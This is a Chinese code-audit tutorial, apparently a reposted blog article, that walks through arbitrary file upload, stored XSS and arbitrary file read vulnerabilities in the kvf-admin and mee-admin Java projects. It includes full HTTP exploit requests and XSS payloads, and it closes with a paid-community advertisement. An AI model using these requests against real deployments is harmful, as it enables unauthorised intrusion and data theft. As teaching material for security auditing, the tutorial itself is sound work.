代码审计指南 - Github开源Java项目

admin 2024年9月22日04:50:47评论19 views字数 6748阅读22分29秒阅读模式

代码审计指南 - Github开源Java项目

初入代码审计的师傅,苦于寻找开源的项目练练手,这里就结合Github上的开源项目进行简单审计,方便师傅们跟随步骤学习思路。开源挖洞思路仅供参考,不得使用漏洞于非法用途。

注:现在加入Freebuf知识帮会,可参与漏洞盒子内部的漏洞情报活动,文末扫码加入帮会~

代码审计指南 - Github开源Java项目

奖励长期存在且丰厚,不要错过噢

代码审计指南 - Github开源Java项目

kvf-admin代码审计

挑选Java语言开发的开源Github项目来代码审计,第一个是kvf-admin

代码审计指南 - Github开源Java项目

项目地址:https://github.com/kalvinGit/kvf-admin?tab=readme-ov-file

Java后端启动后台之后的登录页面如下:

代码审计指南 - Github开源Java项目

任意文件上传

登录后台,在资本资料 - 用户头像处可以上传人员文件,此处没有限制格式和内容

代码审计指南 - Github开源Java项目

对应的调用的方法为fileUpload

代码审计指南 - Github开源Java项目

代码审计指南 - Github开源Java项目

上传没有过滤文件后缀和内容

直接上传获取路径,数据包如下:

POST /common/fileUpload HTTP/1.1Accept: application/json, text/javascript, */*; q=0.01Accept-Encoding: gzip, deflate, br, zstdAccept-Language: zh-CN,zh;q=0.9Connection: keep-aliveContent-Length: 703477Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryHpqxuxq5RM32xO3VCookie: JSESSIONID=2648996e-59d9-4a81-8562-66e136334abb; rememberMe=WwDVuhLMSgLXB47hXFmIsDUCi1wLlcoWt/8lZNdHJH1vKAYEENnN+WmKi5KzrCu2a2QvAbrQD0ZK4QOLa2CidYfaF27zuDvbWfUdRtzJiOys7fG5wv31Crnp5hk8mxaLjEL9gffgnFO6est/iK/4FcMl4+/0hgqPwAwZRz9J+m/noyNGmcMkDDO9yAPXFluiHTib92i1qHU2liZ+YT2uYkVdT0/moBEroItpIyeqNpoes0wNhZ9OIkdwCCNoHlPWo1QZvCglh5XlGF0iI7jsnDXZAUEcPzVyHh3cryzKcVGK4/VV/v2ozpO4U8V77w1FT3Ad08EDTa/fR6EcC4tWTA1vRlzhkVSBW7NUqR/3hlzPaaHiYO/jPQSNwB4aPHGz8L8HimuUhKgzd+U63Q9ItRAjiNLMummYtKruiopOd77GNxsVWMsZIbvpeNwN8ML8rRAEEjV4QdR0HQODio/ov0UW4lHIUya6gvB2V2/ZtfZaOjtP5qewmGgqFfbGmnEEuw5dZbvz9/el10I1UTw4O7g2HCOCFE/XLE6R5DCx2TQ5zap5jJnKDtB4Y6Vt0JOqx33kukcYcaYIrSQm9XDFBsOG1lhMFkNTa+UDoiqb3lzX3e4Xli2jEg890vmawZNkDBuf5fxOH9LR0NiV7uhMol4pCmZrs9KcPRnvT7UuJxb8vJ3Q3+RlSnWLIEkfuvYhf5Y0STO/D7AAxM1rHQxYr2gdW3KvU85dPzFA6KEdeMT2ZZjXpxWRleySBGDp8EBfoBdrYT7dkI1XVF9qAqu2EXA/J2y2LTkZiNaysVge3VAeyvaijsFjKREQ+Edz9z6GeXlevfkqJ4Aur7ifOeor/vKvU4vTQxy+hMJDSoHPbwazBFyyXdjGpypc0lJm+3Va8zNI+wRu43KS7lTTup4WO+K+7+P0ZVSvY7zwLzUQsQZ7MPYFqpkKhn13SqwFTFull6QCGpBnT87PlTrUtRTY2bGWmsZiyhpGbOsSfveMh9SCeUEEs5ZPcwzCZHJL85/8tWvUnT7OXcZj9vw+rp/Ks6ArbzzfsJIo34FqYRTM6fxT5Y5bQPdw5d50L9Y2x1xMH9U8caSMYv06ZbuaYXGDkkVE3K2ecrK8FZMrYAt3fF1fAzIEhhv53FjJAcPviW+nXtHSv4aojAQh8b0jaLocmQCbRgEmxOQf6aqgxnNpLua5Cj9TthYdlfU/dmZWxrzsrGxaTcEksY2MK/sj9GVmYae0yRJxGSSniyLOKqo3qadGwfPbAgVw8DsWaAKD1VaBvROXG68t6+wacBa1ge3kGrLRRXVM3IggECOdWl1EfY8wklQsdktY+CbFsAnnKlby7+ac9D8QnXx9LCyJZR40kviAdRTjyy9gB8IcLTwYgp5Ro7eP8LLRU/QRIfguRs3J/B60DfHI7gzrf8NDWKaKnmpXjo2zR8JhyFt+8e7z5ySTEhpocr/ZWLHzPA/yULIbjnIweF2W68X43A6uAMTz4zK0wW8Ls7izZ34yz8wB1cQG6dT/uug82zcIQZ6Ux90f6QteQ9tYsCmNQvHnvKJq9GDO5p/hzT05RK8=Host: 127.0.0.1:89Origin: http://127.0.0.1:89Referer: http://127.0.0.1:89/sys/user/infoSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: same-originUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36X-Requested-With: XMLHttpRequestsec-ch-ua: "Chromium";v="122", "Not(A:Brand";v="24", "Google Chrome";v="122"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"------WebKitFormBoundaryHpqxuxq5RM32xO3VContent-Disposition: form-data; name="file"; filename="test.jsp"Content-Type: image/jpegtest123------WebKitFormBoundaryHpqxuxq5RM32xO3VContent-Disposition: form-data; name="type"avatar------WebKitFormBoundaryHpqxuxq5RM32xO3V--

代码审计指南 - Github开源Java项目

上传成功后返回路径,然后根据读取文件访问的方法请求对应路径

代码审计指南 - Github开源Java项目

请求访问/common/static/avatar/20240319/test.jsp,验证上传成功

代码审计指南 - Github开源Java项目

存储型xss

此处Java版Ueditor文件可以上传xml文件,造成的XSS漏洞

代码审计指南 - Github开源Java项目

文件上传方法对应如下

代码审计指南 - Github开源Java项目

查看Ueditor配置文件config.json配置文件,xml后缀格式未被禁用,可以上传xss页面

代码审计指南 - Github开源Java项目

调用对应的uploadfile方法,上传数据包如下:

POST /ueditor/upload?configPath=ueditor/config.json&action=uploadfile HTTP/1.1Host: 192.168.8.28:89Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateCookie: JSESSIONID=707bfffa-49cc-49ff-acd0-8dd285701b07; rememberMe=voFiAKGY4BjwzQlWUvQRuxYPzFLdbUyJnX6u0evTdkxG8FjTc97O7yMZkB8UVL5335fUkKu0yiX6cPevGZ5578ClchkJrILtVy6k9IwLYQVlJ9v0a+2ysULMIZgvbKb/IU5AxC26iN+wcPd0KDWNdiXfItrNSFbANbHe39Uw9ldqwyp7gmSwjy9uFB8NCioDhBIUtCvqDZ4IfJp9aXsTgvJJTw45Yg/CCNbr4PI8iyqmW1BLKX8nqZOzXiNk0MfvhC3NikwLJ4Iz6Hgmx5BPhqOgxQosK5p5FmZYnGXf7kjJ3Rjmm2pzJSt35Plucv2CB9phiCO71vqyLt38mUF4l4hbAuVwvqN5AuO3raOA9y1An3p1SAraoNwYXQ/QRgWsTCOCF71In5xmWRB0ulEr98v3q8wzbPEzsIcDgdBlxMR0X2XMbr7Y2aCIR8pkGGyAENl9yXYA3VW157EyDGA1exY1kRUqZI4ndSpW1jlqWssHjKM2FvPtnRiTXBpJEj5RkSUTSxCyrv4zujObG4IWOT5L0EfRZbTcDe4jvtvzwN5Kx3eTJVjK09vMs5m8WNwdpLRkX32MH0rQcOPLvDAkXwVX/MFvQcU0TrMYnW7T08Ot4lmhRy/iU9dv4bX4Q6Oxpsurp1mRcuJ4N7u5zw6OBZZEyRe5bk8tKFigCvbWE0rw5WQl/0eS+YylyUz9FLf1uYGWbh1k74PXglVFQ3fP1z9EkB1Ib4BCkGzUIkliVcbSebmkZwZItH0YW29/4BmtVHGllUxsSo64oUp9ZNe7G5Ex4ckPOMkh/tiq2+5j9wksOpsf+V+G8RMu1kbUfzFx+4cSY0zJN9f1yEYHCLN7E8u51MZ/OPG/mtWqcPHuIGgCLlJD9Ih3kGGMPTinkGEDkHJmHZfFGohQaEzc0Q3jYi1s+Eoxq+geWE70TQRrEFv41ukogBfV9x6ThvkSrihe4GA/0hw1pP8+58TVB56q2DOLNh1viGqpbO2ppi3Tx7wR8niwQ5Ty1VGcNtU2ecOwFrTIQge0ELMC4JZ65sdsAla2n+tv0SZjQfoysjPQoLwK4AsQQ5VmSpY46h6pTJ5zbETEtQMd+70xOE4ntem5xWfUaJzGV90zzx5I+YklqSTjsnSUC2Ezg51P6qFK2B0IyjJ0+Tqb92LcnHVmCM8ChOynVhmRnlflheEZRjMpLigCKcizx2tA4PnLEH9zf5rpZtu7QAvE5IdtmQERfEjpaWGNnRySf1bmD06h0XsV8oSRSlKqMVNm35Qe/yM7br4NXdC44kfZm4+z+3+7nacfq0ugyhWM1b2gX3FKHkxTwDEfyQdGp9NHorvSjcMvA8RW3ApckFZycfm2JnArlyw95Eq42uoZqdcB/LqlRNinjljjqZM99S511T/bZWpvFD+bSXp5xznDDJOyOkhPSUAV63jnlRn8atl2xQq2soMyPeI2HevgvO2RpRjtCTnx0l1wKE9ZERr5YGMoPLgDuou76y9xN1b0LDdshPTdUoPu694JRwDOoeoqmIDCIuQfJa89hulN2mDOeoYB347ZmO+Eh1KFDYlP1ytBnibbAccept-Language: zh-CN,zh;q=0.9Cache-Control: max-age=0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36Upgrade-Insecure-Requests: 1Origin: http://192.168.8.28:89Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryhRtIv7Zw4UrVozpEContent-Length: 2061352------WebKitFormBoundaryhRtIv7Zw4UrVozpEContent-Disposition: form-data; name="upfile"; filename="test.xml"Content-Type: image/jpeg<html><head></head><body><something:script xmlns:something="http://www.w3.org/1999/xhtml"> alert(1);</something:script></body></html>------WebKitFormBoundaryhRtIv7Zw4UrVozpE--

代码审计指南 - Github开源Java项目

上传带有xss语句的xml文件

代码审计指南 - Github开源Java项目

读取恶意文件成功上传

代码审计指南 - Github开源Java项目

Mee-admin v1.6审计

第二个项目名称为mee-admin,也是Java开发的后端

代码审计指南 - Github开源Java项目

项目地址:https://github.com/funnyzpc/mee-admin审计版本v1.6:https://github.com/funnyzpc/mee-admin/releases/tag/1.6

启动配置一下,这里我指定使用application-mysql.propertities配置文件

代码审计指南 - Github开源Java项目

改下文件目录到C盘

代码审计指南 - Github开源Java项目

存储型XSS

登录页面如下

代码审计指南 - Github开源Java项目

使用admin/admin登录进入系统

点击用户名处,进入用户中心处。在用户昵称处输入恶意xss代码闭合

代码审计指南 - Github开源Java项目

输入如下内容

超级管理员</a><a><img src=1 onerror=alert(/xss/)>

代码审计指南 - Github开源Java项目

点击更新,然后重新登录下

进来会发现恶意xss语句被渲染进网页里面

代码审计指南 - Github开源Java项目

代码审计指南 - Github开源Java项目

任意文件读取

在系统管理的文件管理中,文件保存路径为下载路径,点击后会调用下载方法

代码审计指南 - Github开源Java项目

漏洞代码在CommonFileController.java里面

download方法做了目录穿越的检测,但是没有结束return

代码审计指南 - Github开源Java项目

只是防止浏览器显示,但是防不了数据包中的任意文件读取

代码审计指南 - Github开源Java项目

造成任意文件读取漏洞,例如读取C:Windowswin.ini文件

代码审计指南 - Github开源Java项目

Freebuf知识大陆帮会

0x01 社区简介

社区中包含有主要讲解系统化从基础入门到实战漏洞挖掘的教程,其中包含团队自整的挖掘注意点和案例。其中还包含分享的渗透经验、SRC漏洞案例、代码审计、挖洞思路等高价值资源。

笔记主要根据漏洞原理,结合实战的漏洞案例,分析漏洞的挖掘方法和漏洞成因。

历史笔记部分一览

代码审计指南 - Github开源Java项目

代码审计指南 - Github开源Java项目

0x02 独有服务

1.  各类内部网络安全攻防、CTF比赛信息、挖洞工具、靶场资源;

2.  专题更新漏洞挖掘中的小Tips及实战案例

3.  攻防思维导图,0基础开启网络安全学习之路;

4.  遇到任何技术题都快速提问与讨论交流的思路;

5.  内部CTF大佬、海外SRC漏洞挖掘大佬、群主群内在线解答;

6.  组织队伍参与各类SRC挖掘活动;

0x03 团队交流群

代码审计指南 - Github开源Java项目

0x04 帮会技术保证

帮主chobits02

安全渗透感知大家族的帮主

安全团队Code4th建立人

资深安全专家,2年网安经验,1.5年后端开发经验

拥有丰富的SRC挖掘、应急响应、安全运营、网络攻防等方面经验

0x05 加入方式

FreeBuf知识大陆2周年庆啦

现 在 49.9 元 享 永 久 会 员!

优惠机会难得,扫二维码加入吧

⬇️

代码审计指南 - Github开源Java项目

原文始发于微信公众号(Code4th安全团队):代码审计指南 - Github开源Java项目

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年9月22日04:50:47
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   代码审计指南 - Github开源Java项目http://cn-sec.com/archives/3168610.html

发表评论

匿名网友 填写信息